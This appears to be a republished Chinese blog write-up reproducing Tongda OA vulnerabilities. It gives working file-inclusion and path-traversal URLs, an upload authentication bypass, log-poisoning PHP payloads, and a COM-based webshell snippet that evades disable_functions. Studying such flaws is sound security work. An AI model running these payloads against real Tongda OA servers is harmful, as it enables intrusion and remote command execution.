通达OA漏洞学习
说明
通达OA漏洞在去年上半年已爆出,这不趁着周末没事做,将源码下载下来进行复现学习。
文件包含测试
文件包含检测,payload1:
ip/ispirit/interface/gateway.php?json={"url":"/general/../../mysql5/my.ini"}
利用文件包含访问mysql.ini,检查是否有某些特定字符串 ,比如innodb_log_group_home_dir
payload2:
ip/ispirit/interface/gateway.php?json={}&url=/general/../../nginx/logs/oa.access.log
利用文件包含访问OA日志
复现
源码下载
链接:
https://pan.baidu.com/s/1HP5pDsAK2QLOWpnB1JX-Yg
提取码:vab0
是个exe,安装解压完是php代码。用Sublime打开,都是16进制加密
用notepad打开显示,zend加密,
php在线解密网站:
http://dezend.qiling.org/free.html
解密出源代码。
文件上传
ispirit/im/upload.php
要上传首先需要绕过登陆验证,在本系统中auth.php是登陆验证的相关逻辑,但在upload.php未修复前,如果$P非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。
经过下载源码测试,上传后的文件在 MYOA/attach/im/2003/
目录下。因上传后的文件不在根目录,所以无法直接利用,因此需要进行文件包含。
文件包含
与上传相反,这里不传P参数就可以文件包含。未修复前,可通过精心构造json进入47行的includ_once进行文件包含。官方在补丁中过滤了 ,防止用户读取其他目录文件。
POC
poc有很多,其一,首先构造url并访问,在日志中写入一句话,原理是OA默认会将访问url,agent写日志。
/ispirit/interface/gateway.php?json={}&a= file_put_contents('1.php','hello123');
先在浏览器访问,
发现"<"被浏览器url编码了
用burp重新发包。
成功写入日志。(写日志的方式省去了上传)
文件包含
如果php poc 为 <?php file_put_contents('1.php','hello123');?>
则上传到 存在漏洞文件 gateway.php 同级目录,如果php poc为<?php file_put_contents('../1.php','hello123');?>
,则上传到 上一级目录 ispirit 目录下。注意路径。
exp
通过 upload.php 上传一个文件,可自定义后缀名。经过下载源码测试,上传后的文件在 MYOA/attach/im/2003/
目录下。
思路一:
上传一个写shell的php文件,在利用文件包含写shell。
具体见exp.py。
思路二:
执行cmd,
MYOA/bin/ 目录下的 php.ini 禁用了一些执行,命令的函数。
disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfo
disable_classes =
参考
使用com组件绕过disable_functions
https://www.cnblogs.com/-qing-/p/10944118.html
eg:
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
这里写的exp总是将post数据自动url编码。达不到burp的效果。
需要先设置一次请求头setHeader("Content-Type", "application/x-www-form-urlencoded")再将数据拼接成string格式再进行发送 ,终于写成了exp2.py。
版本路径
不同环境路径不同。
例如2013:
/ispirit/im/upload.php
/ispirit/interface/gateway.php
例如2017:
/ispirit/im/upload.php
/mac/gateway.php
后记
一些趣事,正常该用post包含的。
get包含就很玄学了。正常get请求(不空行)是不行的,在浏览器GET请求也是不能包含的。
注意看我光标位置。必须空出来一行,否则不成功。get无请求体,不知道是什么原因。
空两行试试
发包,Content-Length都有了,可真牛啊。
wireshark抓个包,get没请求体呀。见strange-get-include.pcap
。
往期精彩
登陆页面的检测及渗透
渗透实战篇(一)
渗透测试信息收集的方法
常见Web中间件漏洞利用及修复方法
内网渗透 | 流量转发场景测试
Waf从入门到Bypass
实战渗透-看我如何拿下学校的大屏幕
技术篇:bulldog水平垂直越权+命令执行+提权
渗透工具实战技巧大合集 | 先收藏点赞再转发一气呵成
感兴趣的可以点个关注!!!
本文分享自微信公众号 - 安全先师(gh_d61f62dd440d)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
以上是 通达OA漏洞学习 的全部内容, 来源链接: utcz.com/z/510086.html